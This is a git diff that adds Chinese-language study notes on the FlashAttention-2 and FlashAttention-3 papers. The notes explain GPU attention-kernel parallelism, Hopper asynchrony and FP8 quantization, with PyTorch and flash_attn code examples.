+- **PyTorch 2.x 默认路径**：`F.scaled_dot_product_attention` 在 CUDA 上优先走 FlashAttention-2/3 kernel，**不改模型代码**就吃到加速。
+- **说明「系统优化第二幕」**：FA1 证明 IO-aware 能赢；FA2 证明 **occupancy + warp 分工** 还能再榨一倍——瓶颈从 HBM 转向 SM 利用率与 kernel 融合。
+- **与 [[flash-attention]] 的关系**：先读 v1 理解 tiling / online softmax；v2 是在 v1 正确性之上做 **工程并行化**，不是新算法。
+
+---
+
+## 核心概念
+
+### 1. 标准 attention 的两层瓶颈（复习）
+
+对序列长度 N、head 维度 d：
+
+```
+Attention(Q, K, V) = softmax(QK^T / √d) · V
+```
+
+- **数学复杂度**：O(N²d) FLOPs。
+- **内存**：物化 QK^T 要 O(N²) HBM（FlashAttention-1 已消除）。
+- **FA1 之后的新瓶颈**：kernel 仍慢，因为 GPU **SM 没喂饱**、**非 matmul 指令占比高**、**warp 间 shared memory 通信多**。
+
+### 2. 减少 non-matmul FLOPs
+
+A100 上 Tensor Core 做 bf16/fp16 矩阵乘，吞吐远高于 CUDA core 上的 exp、max、除法。
+
+FlashAttention-2 调整 **online softmax 的 rescaling 时机**：在每个 K/V tile 累加时少做几次标量 rescale，**在 tile 边界统一归一化**，让更多时间花在 `QK^T` 和 `PV` 这类 GEMM 上。
+
+直觉：**尽量让 Tensor Core 一直转，别让几个 CPU 式标量运算把流水线卡住。**
+
+### 3. 序列维度并行（2D tiling）
+
+FlashAttention-1 的 thread block 网格大致是：
+
+```
+grid ≈ (batch_size × num_heads)
+```
+
+当 `batch × heads < SM 数量`（例如推理 batch=1、模型 head=32，A100 有 108 SM）时，**大量 SM 闲置**。
+
+FlashAttention-2 把 Q 的行再切成 `T_r = ⌈N / B_r⌉` 个 **row block**，每个 `(batch, head, row_block)` 启动一个 thread block：
+
+```
+grid ≈ (batch_size × num_heads × T_r)
+```
+
+长序列（N 大）时，即使 batch 和 head 都小，也能 **用满 GPU**。反向传播类似地沿 K/V 的列块切分。
+
+### 4. Warp 级工作划分：split-Q 取代 split-K
+
+在一个 thread block 内部，FA1 曾把 **K 的列** 分给不同 warp（split-K）：warp 0 算 K 的前几列、warp 1 算后几列……最后 partial output 要在 **shared memory 里 reduce**，跨 warp 读写频繁。
+
+FA2 改为 **split-Q**：
+
+- 每个 warp 负责 **Q 的不同行子集**（输出行的不同 slice）。
+- K、V 的 tile **所有 warp 共享读取**。
+- 各 warp 独立算完自己的输出 slice，**无需 warp 间归约**。
+
+类比：以前 4 个工人各切菜的不同部位，最后还要把半成品倒进同一个盆搅拌；现在每人负责一道完整的小份菜，**各做各的，互不打扰**。
+
+### 5. 性能数字怎么读
+
+| 指标 | FA1（约） | FA2（约） | 含义 |
+|------|-----------|-----------|------|
+| 峰值 FLOPs 利用率 | 25–40% | 50–73% | 离 A100 312 TFLOPs/s 理论峰值有多近 |
+| 相对 FA1 加速 | 1× | ~2× | 同硬件、同精度、同 N |
+| 端到端 GPT 训练 | — | ~225 TFLOPs/s | 含 embedding、MLP、通信等全模型 |
+| MFU | — | ~72% | Model FLOPs Utilization，业界常用训练效率指标 |
+
+「接近 GEMM 效率」的含义：attention 这种带 softmax 的非纯 matmul 算子，终于能和 cuBLAS 矩阵乘 **处在同一数量级** 的硬件利用率。
+
+---
+
+## 代码示例
+
+### 示例 1：PyTorch 里显式选用 FlashAttention-2 后端
+
+PyTorch 2.0+ 的 SDPA 会自动选最快 backend；下面演示如何 **强制对比** math（朴素）与 flash：
+
+```python
+import torch
+import torch.nn.functional as F
+from torch.nn.attention import SDPBackend, sdpa_kernel
+
+# shape: [batch, num_heads, seq_len, head_dim]
+B, H, N, D = 2, 32, 8192, 128
+q = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+k = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+v = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+
+# FlashAttention-2（PyTorch 内部调用 flash_attn CUDA kernel）
+with sdpa_kernel(SDPBackend.FLASH_ATTENTION):
+    out_flash = F.scaled_dot_product_attention(
+        q, k, v, is_causal=True, scale=1.0 / (D ** 0.5)
+    )
+
+# 朴素实现：会物化 N×N，长序列 OOM 或极慢
+with sdpa_kernel(SDPBackend.MATH):
+    out_math = F.scaled_dot_product_attention(
+        q, k, v, is_causal=True, scale=1.0 / (D ** 0.5)
+    )
+
+# exact attention：数值应一致（允许 bf16 微小误差）
+torch.testing.assert_close(out_flash, out_math, rtol=1e-2, atol=1e-2)
+```
+
+长序列（N=8192）+ causal 时，`MATH` 往往 **显存爆炸或慢一个数量级**；`FLASH_ATTENTION` 走 FA2 分块路径，**显存 O(N)**、吞吐接近 GEMM。
+
+### 示例 2：直接用 flash-attn 包（训练栈常见写法）
+
+HuggingFace / LLaMA 训练脚本里更常显式依赖 `flash_attn`：
+
+```python
+# pip install flash-attn --no-build-isolation
+from flash_attn import flash_attn_func
+
+# 输入 layout 与 SDPA 不同：[batch, seq, heads, dim]
+x = torch.randn(2, 4096, 32, 128, device="cuda", dtype=torch.bfloat16)
+q = k = v = x  # 自注意力示意
+
+# causal=True 启用 GPT 式下三角 mask；softmax_scale 默认 1/sqrt(d)
+out = flash_attn_func(q, k, v, causal=True, softmax_scale=None)
+
+# out.shape == (2, 4096, 32, 128)
+# backward 同样走 FA2 kernel，不存 N×N attention matrix
+loss = out.sum()
+loss.backward()
+```
+
+`flash_attn_func` 的 v2 实现即论文中的 **split-Q + 序列并行** kernel；与 `torch.compile`、FSDP 等组合时，注意 **head_dim** 仅支持常见值（64、128 等），非 8 倍数可能 fallback。
+
+### 示例 3（伪代码）：online softmax 与 FA2 的 rescale 优化
+
+理解 FA2「少做 non-matmul」可对照下面 **分块流式 softmax**（与 [[flash-attention]] 中 `(m, l)` 记号一致）：
+
+```python
+import math
+
+def online_softmax_blocks(scores_blocks):
+    """scores_blocks: 把一行 N 个 logits 切成多块，模拟 FA tiling。"""
+    m = float("-inf")   # 当前最大值
+    l = 0.0             # 当前 exp 之和（未归一化）
+    acc = None          # 加权 V 的分子累加（示意）
+
+    for block in scores_blocks:
+        m_new = max(m, max(block))
+        # FA2：尽量把 rescale 合并到块边界，减少块内多次标量除法
+        scale_old = math.exp(m - m_new) if m > float("-inf") else 0.0
+        l = l * scale_old + sum(math.exp(x - m_new) for x in block)
+        m = m_new
+        # ... 同步更新 acc（PV 的在线累加）...
+
+    return [math.exp(x - m) / l for block in scores_blocks for x in block]
+```
+
+标准实现每来一块就可能对 **已有累加结果** 做一次 rescale；FA2 在 CUDA 里 **合并 rescale 次数**，让 warp 更多周期花在 `mma.sync`（矩阵乘）上。
+
+---
+
+## FlashAttention-1 vs FlashAttention-2 对照
+
+| 维度 | FlashAttention-1 | FlashAttention-2 |
+|------|------------------|------------------|
+| 核心创新 | IO-aware tiling + online softmax | 更好的并行与工作划分 |
+| Thread block 并行轴 | batch × heads | batch × heads × **seq row blocks** |
+| Warp 策略 | split-K，需 shared memory reduce | **split-Q**，warp 独立 |
+| non-matmul 占比 | 较高 | **降低**（rescale 合并） |
+| A100 峰值利用率 | ~25–40% | **~50–73%** |
+| 实现基础 | 手写 CUDA | **CUTLASS 3 / CuTe 重写** |
+
+数学输出：**bit-exact（在浮点语义下与 naive attention 一致）**，不是近似 attention。
+
+---
+
+## 踩过的坑
+
+1. **head_dim 与硬件对齐**：FA2 kernel 对 d=64、128 等优化最充分；奇异的 head_dim 可能无法 dispatch，静默 fallback 到慢路径。
+2. **短序列不划算**：N 很小时，额外 thread block 与 tiling 开销 > 收益；seq_len < 512 可能不如朴素 kernel。
+3. **与 dropout / 自定义 bias**：训练时 attention dropout 需在 kernel 内支持；自定义 alibi / sliding window 要查 `flash_attn` 版本是否实现。
+4. **多卡训练 MFU 仍受通信限制**：单卡 225 TFLOPs/s 是 kernel 胜利；全集群 MFU 还被 ZeRO、梯度 all-reduce 拉低——**别用单卡 micro-benchmark 直接外推集群效率**。
+5. **FA3 已针对 H100**：Hopper 上 FlashAttention-3 用 WGMMA 异步再提速；A100 上 FA2 仍是主力。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 长序列 self-attention / causal LM 训练与推理
+- 需要 **exact attention**、不能接受 Performer / Linformer 近似
+- A100 / RTX 40 系 / H100（配合 FA3）等 NVIDIA GPU
+- 与 PyTorch SDPA、HuggingFace、`flash_attn` 生态集成
+
+**不适用**：
+
+- CPU / Apple Silicon 无 CUDA kernel（用 MPS 或 CPU SDPA）
+- 极端稀疏 attention pattern（需 block-sparse 专用 kernel）
+- 要改 attention 公式本身（如新增可学习 bias 矩阵）——需自写 Triton/CUDA（可参考 [[triton-llm]]）
+
+---
+
+## 与相关工作的位置
+
+```text
+Attention 太慢 / 太占显存
+    ├── 改算法（近似）: Performer, Linformer, [[mamba]] …
+    └── 不改算法（系统）:
+            FlashAttention-1  → IO-aware，O(N) 显存
+            FlashAttention-2  → 并行 + warp 划分，~2× 更快  ← 本篇
+            FlashAttention-3  → Hopper 异步 + FP8
+            PagedAttention    → KV cache 分页（[[paged-attention-vllm]]）
+```
+
+---
+
+## 历史小故事（可跳过）
+
+- **2022**：FlashAttention-1 在 NeurIPS 2022 亮相，Industry 几乎立刻 adopt。
+- **2023 年 7 月**：Tri Dao 单人（相对 v1 合作者更少）发布 FA2 论文；同月/blog 宣布 **CUTLASS 3 完全重写**。
+- **2023 下半年**：PyTorch 2.1+ 将 flash 后端默认化；LLaMA 2、Mistral 等训练栈默认 `flash_attn`。
+- **2024**：FlashAttention-3 瞄准 H100；FA2 仍是 Ampere/Ada 世代事实标准。
+
+Tri Dao 的轨迹说明：**PhD 期间把一个问题（attention 效率）连续挖三代**，每一代都是同一数学、不同系统层——这是 MLSys 研究的典型成功路径。
+
+---
+
+## 学到什么
+
+1. **第一层优化解决「能不能跑」**（FA1：显存）；**第二层解决「跑满 GPU」**（FA2：occupancy + matmul 占比）。
+2. **并行维度要匹配硬件规模**：108 SM 的机器上，并行度只有 8 就会浪费 90% 算力——**序列长度也是并行轴**。
+3. **shared memory 是隐形杀手**：warp 间 reduce 看起来便宜，在 attention 这种重复 K/V 读取的结构里会被放大；**改数据归属（split-Q）** 往往比改算法更有效。
+4. **读 roofline**：先判断 memory-bound 还是 compute-bound；FA1 针对前者，FA2 在 memory 问题解决后针对 **compute 利用率**。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2307.08691](https://arxiv.org/abs/2307.08691)
+- 作者博客：[Princeton NLP — FlashAttention-2](https://princeton-nlp.github.io/flash-atttention-2/)（含 warp 划分示意图）
+- 代码：[Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)
+- 前置笔记：[[flash-attention]]（v1：tiling 与 online softmax）
+- 推理侧互补：[[paged-attention-vllm]]（KV cache 分页）
+- 基础：[[attention]]（Transformer 原始定义）
+
+## 关联
+
+- [[flash-attention]] —— FlashAttention 第一代，IO-aware exact attention
+- [[attention]] —— FlashAttention-2 优化的核心算子
+- [[paged-attention-vllm]] —— 推理显存管理，与 FA2 正交互补
+- [[cutlass-2020]] —— FA2 基于 CUTLASS 3.x / CuTe 重写 kernel
+- [[triton-llm]] —— 若需自定义 attention variant，Triton 是常见第二选择
+- [[gpt-3]] / [[llama]] —— 大模型训练依赖 FlashAttention 系列扛长序列
+- [[mamba]] —— 「换算法降复杂度」路线，与「精确 attention + 系统优化」路线对照
diff --git a/src/content/docs/papers/flashattention-3-2024.md b/src/content/docs/papers/flashattention-3-2024.md
new file mode 100644
index 000000000..d56cecff6
--- /dev/null
+++ b/src/content/docs/papers/flashattention-3-2024.md
@@ -0,0 +1,365 @@
+---
+title: FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
+来源: https://arxiv.org/abs/2407.08608
+日期: 2026-06-13
+子分类: ml
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：厨房升级了，但厨师还在按旧菜谱干活
+
+FlashAttention-2 已经把 attention 这条「产线」排班优化到 A100 上能跑满 **50–73%** 峰值算力——相当于一家工厂把仓库运费（HBM 读写）省下来，又让 108 条流水线尽量都有人干活。
+
+但 2024 年 NVIDIA 推出的 **Hopper（H100）** 不是「更快的 A100」，而是换了一整套厨房设备：
+
+- **新灶台（WGMMA）**：矩阵乘吞吐比 Ampere 的 `mma.sync` 高一大截，但必须用新指令才能吃满。
+- **自动传菜机器人（TMA）**：专门负责把食材从冷库（HBM）搬到操作台（shared memory），厨师不用自己算地址、搬货。
+- **半份调料盒（FP8）**：同样的灶台，用 8 位浮点能再快一倍，但精度更脆，大数一多就糊。
+
+FlashAttention-2 移植到 H100 上，论文测得 **只有约 35% 理论峰值 FLOPs**——就像换了智能厨房，厨师仍按旧流程：**算矩阵时等 softmax，搬数据时等矩阵**，新设备大量时间在空转。
+
+**FlashAttention-3**（Tri Dao 等，2024 年 7 月，NeurIPS 2024）针对 Hopper 做了三件事：
+
+1. **Warp specialization**：一部分 warp 专门 TMA 搬数据（producer），另一部分专门 WGMMA 算矩阵（consumer），**计算与搬运重叠**。
+2. **GEMM 与 softmax 交错（ping-pong / pipeline）**：Tensor Core 算 `QK^T` 和 `PV` 时，多功能单元同时算 `exp`——softmax 不再挡在矩阵乘后面排队。
+3. **块量化 + incoherent processing**：FP8 矩阵乘走硬件快路径，用 **分块 scale** 和 **Hadamard 正交变换** 把 outlier「摊平」，数值误差比朴素 FP8 attention **低 2.6×**。
+
+结果：H100 SXM5 上 FP16/BF16 前向 **740 TFLOPs/s（约 75% 利用率）**，比 FA2 快 **1.5–2.0×**；FP8 接近 **1.2 PFLOPs/s**，且仍是 **exact attention**（在选定精度语义下与参考实现一致，不是稀疏/线性近似）。
+
+---
+
+## 是什么
+
+**FlashAttention-3: Fast and Accurate Attention with Asynchrony and Low-Precision**（[arXiv:2407.08608](https://arxiv.org/abs/2407.08608)）是 FlashAttention 系列第三代：**数学仍是标准 scaled dot-product attention**，变化在 **Hopper 专用 CUDA kernel** 与 **FP8 数值路径**。
+
+| 项目 | 内容 |
+|------|------|
+| 作者 | Tri Dao, Jay Shah, Beidi Chen, Varun B. Thakkar（Stanford / Meta / Together AI 等） |
+| 目标硬件 | **NVIDIA Hopper（H100/H800）**，依赖 WGMMA、TMA、FP8 Tensor Core |
+| 相对 FA2 | FP16 前向 **1.5–2.0×**；反向 **1.5–1.75×**；H100 峰值利用率 **35% → 75%** |
+| FP8 | 近 **1.2 PFLOPs/s**；配合 block quant + incoherent processing，误差优于 per-tensor FP8 baseline **2.6×** |
+| 实现 | CUTLASS / CuTe；开源 [Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)（Hopper 分支） |
+
+与 [[flashattention-2]] 的关系：FA2 解决 **Ampere 上并行与 matmul 占比**；FA3 解决 **Hopper 上异步硬件 + 低精度**——不是换 attention 公式，是换「怎么喂饱 H100」。
+
+---
+
+## 为什么重要
+
+- **长上下文 LLM 的算力天花板**：attention 仍是 Transformer 训练/推理的主瓶颈；H100 集群若仍跑 FA2，相当于 **浪费一半 Tensor Core**。
+- **FP8 训练/推理的可信路径**：业界想用 FP8 换吞吐，但 outlier 导致量化崩；FA3 证明 **系统层数值处理**（块量化 + Hadamard）可以和 **kernel 融合** 一起交付。
+- **硬件协同设计的范本**：WGMMA/TMA 异步指令不是「编译器自动就能用好」——需要 **warp 分工、双缓冲、ping-pong 调度** 才榨出 75% 利用率。
+- **与推理栈互补**：[[paged-attention-vllm]] 管 KV 怎么存；FA3 管 attention 怎么在 Hopper 上算——vLLM、PyTorch SDPA 等栈可叠加使用。
+
+---
+
+## 核心概念
+
+### 1. 标准 attention 在 H100 上的新瓶颈（复习）
+
+```
+Attention(Q, K, V) = softmax(QK^T / √d) · V
+```
+
+FlashAttention-1/2 已消除 **O(N²) HBM 中间矩阵**。到了 H100，瓶颈变成：
+
+| 环节 | 问题 |
+|------|------|
+| 指令代际 | 仍用 `mma.sync` 只能吃到 Hopper Tensor Core 约 **2/3** 峰值 |
+| 异构单元 | H100 FP16 matmul ~**989 TFLOPs/s**，special function（`exp`）仅 ~**3.9 TFLOPs/s**——差 **256×** |
+| head_dim=128 时 | matmul FLOPs 约为 exp 的 512×，但 exp 仍可能占 **~50% 墙钟时间** |
+| FP8 | matmul 再快一倍，exp 速度不变 → **softmax 更「拖后腿」** |
+
+结论：**必须 overlap**——矩阵乘和 softmax 要并行，而不是串行。
+
+### 2. Hopper 三件套：WGMMA、TMA、FP8
+
+**WGMMA（Warpgroup Matrix Multiply-Accumulate）**
+
+- 以 **warpgroup**（通常 4 个 warp = 128 线程）为单位发起大块 GEMM。
+- 异步：发起后可继续做别的事，结果稍后通过 barrier / 异步拷贝取回。
+
+**TMA（Tensor Memory Accelerator）**
+
+- 硬件单元负责 **global memory ↔ shared memory** 的 tile 搬运（含边界处理）。
+- 释放寄存器，让 tile 更大、流水线更深；常与 **producer warp** 绑定。
+
+**FP8 Tensor Core**
+
+- E4M3 / E5M2 等格式，H100 上 FP8 matmul 峰值约为 FP16 **2×**。
+- WGMMA 对 **operand layout** 有严格要求；FA3 在 kernel 内做 **layout 转换 / transpose** 以对接 FP8 GEMM。
+
+### 3. 异步策略一：Warp specialization（生产者–消费者）
+
+类比 **寿司店**：
+
+- **师傅 A（producer warp）**：只用 TMA 从冷库取鱼生（Q/K/V tile）放到案板（shared memory）。
+- **师傅 B（consumer warp）**：只用 WGMMA 在案板上卷寿司（GEMM），不负责跑腿。
+
+两者通过 **环形缓冲区（circular buffer）** 和 **mbarrier** 同步：案板上有空位就搬下一盘，有料就卷下一批。**搬运与计算重叠**，避免「师傅卷完干等进货」。
+
+FA2 里 warp 既搬又算，寄存器压力大；FA3 分工后 **TMA 与 WGMMA 流水线化**，仅换用 Hopper 指令就能从 ~350 TFLOPs/s（FA2 on H100）提到 ~**540–570 TFLOPs/s**。
+
+### 4. 异步策略二：GEMM 与 softmax 交错
+
+Attention 每个 K/V block 大致做：
+
+```
+S = Q K^T          # GEMM0
+P = softmax(S)     # exp + reduce（慢）
+O += P V           # GEMM1
+```
+
+**Inter-warpgroup ping-pong**：两个 warpgroup 交替——WG1 做 GEMM 时，WG2 做上一块的 softmax，反之亦然。论文中 head_dim=128、seq=8K：~570 → ~**620 TFLOPs/s**。
+
+**Intra-warpgroup pipeline**：同一 warpgroup 内，GEMM 累加器还在算时，先对 **已就绪的 score 子块** 启动 exp。~620 → ~**640–660 TFLOPs/s**，代价是 **更高寄存器压力**（同时握 GEMM accumulator 与 softmax 临时量）。
+
+### 5. 低精度：块量化 + incoherent processing
+
+**问题**：LLM 激活常有 **outlier**（极少数元素模长远大于其余），整 tensor 一个 scale 的 FP8 量化误差很大。
+
+**块量化（block quantization）**
+
+- 对每个 tile / block 单独算 scale（如 per-block max），再 cast 到 FP8。
+- GEMM 在 FP8 Tensor Core 上算，**累加器仍用 FP32**（与 FA 系列 online softmax 一致）。
+
+**Incoherent processing**（来自 QuIP / QuIP# 等量化文献）
+
+- 对 Q、K 左乘 **随机正交矩阵** H（实现上用 **带随机符号的 Hadamard 变换**，O(d log d)）。
+- 效果：outlier 能量被 **扩散** 到更多维度，块量化误差下降。
+- 注意力分数满足 `(QH)(KH)^T = QK^T` 当 H 正交——**不改变 exact attention 结果**（在浮点语义下）。
+- Hadamard 是 memory-bound，可与 **RoPE 等同样 memory-bound 的操作融合**，额外开销很小。
+
+论文在 0.1% 元素人为放大模拟 outlier 时，FA3 FP8 比 **per-tensor FP8 baseline 误差低 2.6×**。
+
+### 6. 性能数字怎么读
+
+| 指标 | FA2 @ H100（约） | FA3 @ H100（约） |
+|------|------------------|------------------|
+| FP16 前向峰值 | ~350 TFLOPs/s（~35%） | **~740 TFLOPs/s（~75%）** |
+| FP16 相对加速 | 1× | **1.5–2.0×** |
+| FP8 前向 | — | **~1.2 PFLOPs/s** |
+| vs cuDNN 9 | — | 长序列 FP16 **更快**；FP8 多数场景 **持平或更快**（因果 mask + 大 head_dim 有 trade-off） |
+| 数值 | FA2 同级 | FP16 与 FA2 同级；FP8 显著优于 naive FP8 attention |
+
+NeurIPS 正式版摘要写 BF16 最高 **840 TFLOPs/s（85%）**、FP8 **1.3 PFLOPs/s**——与 blog 数字同属不同 benchmark 配置，趋势一致：**Hopper 利用率从三分之一拉到四分之三**。
+
+---
+
+## 代码示例
+
+### 示例 1：检测 GPU 代数并选用 FlashAttention-3（Hopper）
+
+FA3 kernel **仅 Hopper（sm_90）** 有完整路径；Ampere 仍用 FA2。下面演示如何在 PyTorch 里 **按架构选 backend**：
+
+```python
+import torch
+import torch.nn.functional as F
+from torch.nn.attention import SDPBackend, sdpa_kernel
+
+def hopper_flash_sdpa(q, k, v, *, causal=True):
+    """q,k,v: [B, H, N, D] on CUDA."""
+    major, _ = torch.cuda.get_device_capability()
+    if major < 9:
+        backend = SDPBackend.FLASH_ATTENTION  # FA2 on Ampere/Ada
+    else:
+        # PyTorch 2.4+ / nightly：Hopper 上 SDPA 可 dispatch FA3
+        backend = SDPBackend.FLASH_ATTENTION
+
+    scale = q.shape[-1] ** -0.5
+    with sdpa_kernel(backend):
+        return F.scaled_dot_product_attention(
+            q, k, v, is_causal=causal, scale=scale
+        )
+
+B, H, N, D = 1, 32, 16384, 128
+q = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+k = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+v = torch.randn(B, H, N, D, device="cuda", dtype=torch.bfloat16)
+
+out = hopper_flash_sdpa(q, k, v)
+assert out.shape == (B, H, N, D)
+```
+
+长序列（N=16K）+ causal 时，H100 上 FA3 相对 FA2 的增益最明显；**短序列或 batch 极小** 时 kernel launch 开销可能吃掉优势。
+
+### 示例 2：flash-attn 包显式调用 Hopper / FP8 路径
+
+训练栈常直接用 `flash_attn` 仓库的 Hopper 实现（需从源码编译，CUDA ≥ 12.3）：
+
+```python
+# pip install flash-attn --no-build-isolation
+# 需 Hopper GPU + 支持 FP8 的 flash-attn 构建
+import torch
+from flash_attn import flash_attn_func
+
+# layout: [batch, seqlen, nheads, headdim]
+B, N, H, D = 2, 8192, 32, 128
+q = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16)
+k = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16)
+v = torch.randn(B, N, H, D, device="cuda", dtype=torch.bfloat16)
+
+# causal LM；Hopper 上内部走 WGMMA + TMA + 异步 softmax
+out_bf16 = flash_attn_func(q, k, v, causal=True)
+
+# FP8 路径（若构建启用）：Q/K/V 可在 kernel 内 block-quant + incoherent transform
+# 具体 API 以 flash-attn 版本 README 为准，例如：
+# out_fp8 = flash_attn_func(..., softcap=0.0, deterministic=False, fp8=True)
+
+loss = out_bf16.sum()
+loss.backward()  # 反向同样针对 Hopper 优化，不物化 N×N 矩阵
+```
+
+与 [[flashattention-2]] 示例相同：**`[B, N, H, D]` layout** 与 SDPA 的 `[B, H, N, D]` 不同，集成时注意 transpose。
+
+### 示例 3（伪代码）：Hadamard incoherent processing 为何不改注意力语义
+
+理解 FP8 数值路径，核心是 **正交变换在 logits 上抵消**：
+
+```python
+import math
+
+def hadamard(x):
+    """简化示意：实际用 FWHT + 随机 sign，O(d log d)。"""
+    n = len(x)
+    h = 1
+    buf = list(x)
+    while h < n:
+        for i in range(0, n, h * 2):
+            for j in range(i, i + h):
+                a, b = buf[j], buf[j + h]
+                buf[j], buf[j + h] = a + b, a - b
+        h *= 2
+    return [v / math.sqrt(n) for v in buf]
+
+def block_fp8_quant(x, block_size=64):
+    """每块独立 scale → FP8；反量化后做 GEMM 示意。"""
+    scales = []
+    q_blocks = []
+    for i in range(0, len(x), block_size):
+        block = x[i : i + block_size]
+        s = max(abs(v) for v in block) / 127.0 or 1.0
+        scales.append(s)
+        q_blocks.append([round(v / s) for v in block])  # 示意，非真实 E4M3
+    return q_blocks, scales
+
+# incoherent：Q' = H Q, K' = H K  →  (Q')(K')^T = Q K^T
+Q = [0.1, 0.2, 3.0, 0.15]  # 含 outlier 3.0
+K = [0.12, 0.18, 0.05, 0.11]
+Hq, Hk = hadamard(Q), hadamard(K)
+
+# 直接 quant Q 误差大；先 Hadamard 再 block quant 误差更小
+_, _ = block_fp8_quant(Q)
+_, _ = block_fp8_quant(Hq)
+
+dot_orig = sum(Q[i] * K[i] for i in range(len(Q)))
+dot_rot  = sum(Hq[i] * Hk[i] for i in range(len(Hq)))
+assert abs(dot_orig - dot_rot) < 1e-6  # 正交不变性
+```
+
+FA3 在 kernel 内把 **FWHT + block FP8 quant + WGMMA + FP32 softmax 累加** 融成一条流水线，避免把 FP8 Q/K 写回 HBM。
+
+---
+
+## FlashAttention-2 vs FlashAttention-3 对照
+
+| 维度 | FlashAttention-2 | FlashAttention-3 |
+|------|------------------|------------------|
+| 目标 GPU | Ampere / Ada（A100, RTX 40） | **Hopper（H100）** |
+| 核心指令 | `mma.sync` | **WGMMA + TMA** |
+| 并行哲学 | split-Q、序列维 thread block | **warp specialization + 异步流水** |
+| Softmax | 减少 rescale 次数 | **与 GEMM ping-pong / pipeline overlap** |
+| 精度 | FP16 / BF16 为主 | **+ FP8 Tensor Core 路径** |
+| 数值技巧 | FP32 累加 softmax | **+ block quant + Hadamard incoherent** |
+| H100 利用率 | ~35% | **~75%（FP16）** |
+| 相对 FA2 加速 | 1× | **1.5–2.0×** |
+
+数学上仍是 **exact attention**（在声明的 dtype 下），不是 FlashAttention 以外的近似算法。
+
+---
+
+## 踩过的坑
+
+1. **硬件门槛**：FA3 依赖 sm_90；A100 上请继续用 FA2，**不要假设 pip install 就有 FA3**。
+2. **CUDA / 驱动版本**：Hopper + FP8 常要求较新 CUDA（12.x+）与对应 `flash-attn` 编译选项。
+3. **FP8 不是「免费 2×」**：因果 mask、head_dim=256 等场景 FP8 可能 **略慢于或持平 FP16**；需 profile 你的 (B, H, N, D)。
+4. **outlier 依赖**：incoherent processing 对 **严重 outlier 激活** 帮助最大；分布很均匀时 FP8 增益主要是吞吐而非误差。
+5. **与 FA2 相同的 head_dim 限制**：非 8 倍数、过大 head_dim 可能无法 dispatch。
+6. **生态集成滞后**：论文 2024 年中发布；PyTorch 内置 dispatch 随版本迭代——生产环境 **查 `torch.backends.cuda` 与 flash-attn release note**。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- H100 / H800 集群上 **长上下文** LLM 训练或推理
+- 需要 **exact attention** 且希望吃满 Hopper
+- 探索 **FP8 训练** 且关心 attention 层数值稳定性
+- 与 PyTorch SDPA、`flash_attn`、cuDNN 9 等栈对比选型
+
+**不适用**：
+
+- Ampere / AMD / Apple Silicon（无 WGMMA/TMA）
+- 极短序列（N 很小）——异步流水 overhead 不划算
+- 必须自定义 attention 变体且无法进官方 kernel（考虑 Triton，见 [[triton-llm]]）
+- 可接受近似 attention（Performer 等）换复杂度——那是算法路线，不是 FA3 目标
+
+---
+
+## 与相关工作的位置
+
+```text
+Attention 瓶颈
+    ├── 改算法: Performer, [[mamba]] …
+    └── 精确 attention + 系统优化:
+            FlashAttention-1   → IO-aware, O(N) 显存
+            FlashAttention-2   → Ampere 并行, ~2×  ← [[flashattention-2]]
+            FlashAttention-3   → Hopper 异步 + FP8  ← 本篇
+            PagedAttention     → KV 分页 [[paged-attention-vllm]]
+            cuDNN 9 / ThunderKittens → 同代 Hopper 竞争实现
+```
+
+---
+
+## 历史小故事（可跳过）
+
+- **2022–2023**：FA1/FA2 把 LLM context 从 4K 推到 128K+ 的训练/推理成为可能。
+- **2024 年 7 月**：Tri Dao 发布 FA3 预印本与 blog，同日强调 **开源代码**。
+- **NeurIPS 2024**：正式收录；BF16/FP8 峰值数字在 camera-ready 中进一步更新。
+- **PyTorch 官方 blog** 预告 FA3 将集成进未来 PyTorch release——与 [[flashattention-2]] 进 SDPA 的路径类似。
+
+Tri Dao 连续三代 attention kernel 说明：**同一数学问题，随硬件代际可反复做 MLSys 深度优化**——Hopper 的「异步」比 Ampere 的「并行划分」又深一层。
+
+---
+
+## 学到什么
+
+1. **新硬件 ≠ 旧程序变快**：H100 上 FA2 仅 35% 利用率；必须用 **WGMMA/TMA 重写数据流**。
+2. **Attention 的隐形瓶颈是 exp**：matmul 越快，softmax 占比越高——**overlap 是第三代的核心**。
+3. **低精度是系统问题**：FP8 要快，既要 **Tensor Core layout**，也要 **块量化 + 正交预处理** 控误差。
+4. **正交变换是可融合的自由午餐**：Hadamard + RoPE 同属 memory-bound，incohere processing 几乎不单独付带宽税。
+5. **读 roofline 要分单元**：Tensor Core TFLOPs 和 special function TFLOPs 是 **两张不同的 roofline**。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2407.08608](https://arxiv.org/abs/2407.08608)
+- 作者博客：[FlashAttention-3 | Tri Dao](https://tridao.me/blog/2024/flash3/)
+- PyTorch 解读：[FlashAttention-3 – PyTorch Blog](https://pytorch.org/blog/flashattention-3/)
+- 代码：[Dao-AILab/flash-attention](https://github.com/Dao-AILab/flash-attention)
+- 前置：[[flash-attention]]（v1）、[[flashattention-2]]（v2）
+- 推理互补：[[paged-attention-vllm]]
+- 基础：[[attention]]
+
+## 关联
+
+- [[flashattention-2]] —— 上一代：Ampere 并行与工作划分
+- [[flash-attention]] —— 第一代：IO-aware tiling 与 online softmax
+- [[attention]] —— FA3 优化的核心算子
+- [[paged-attention-vllm]] —— KV cache 分页，与 FA3 正交
+- [[flashattention-2]] —— H100 上 FA2 仅 ~35% 利用率的对照基线
+- [[triton-llm]] —— 自定义 attention 变体的常见框架
+- [[gpt-3]] —— 长上下文需求推动 FlashAttention 系列演进
diff --git a/src/content/docs/papers/flashinfer-2024.md b/src/content/docs/papers/flashinfer-2024.md
new file mode 100644
index 000000000..64d779cb8
--- /dev/null
